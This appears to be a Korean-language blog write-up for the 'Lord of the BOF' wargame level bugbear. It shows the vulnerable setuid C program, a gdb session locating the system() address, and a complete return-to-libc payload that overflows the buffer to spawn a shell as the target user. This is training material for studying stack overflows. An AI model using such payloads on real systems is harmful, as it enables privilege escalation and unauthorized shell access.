The Lord of the BOF - darkknight -> bugbear

return to library 개념 이해하기

아래는 문제의 코드

/*
    The Lord of the BOF : The Fellowship of the BOF
    - bugbear
    - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] == '\xbf')
    {
        printf("stack betrayed you!!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

이전 단계까지는 삽입한 쉘코드의 주소를 ret에 넣어서 쉘 권한을 얻어냈었다.

그런데 옛날부터 스택을 이용한 공격은 안된지 오래다.

그래서 RTL을 쓰는데…

ret 영역에는 system 함수 주소를 넣고, system 함수에 인자로 ebp+8이 될 곳에 “/bin/sh” 문자열의 주소를 넣으면 문제를 풀 수 있다.

$ cp bugbear augbear
$ ls -l
total 28
-rwxr-xr-x    1 darkknig darkknig    12043 Sep  2 09:05 augbear
-rwsr-sr-x    1 bugbear  bugbear     12043 Mar  8  2010 bugbear
-rw-r--r--    1 root     root          385 Mar 29  2010 bugbear.c

gdb랑 core 덤프용으로 bugbear를 augbear로 복사하고

gdb augbear -q
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /home/darkknight/augbear

Breakpoint 1, 0x8048436 in main ()
(gdb) print system
$1 = {} 0x40058ae0 <__libc_system>

system 함수 주소를 알아내고

그리고 x/10000s 쳐서 “/bin/sh"를 찾아서 풀었다.

아래는 페이로드

./bugbear `python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`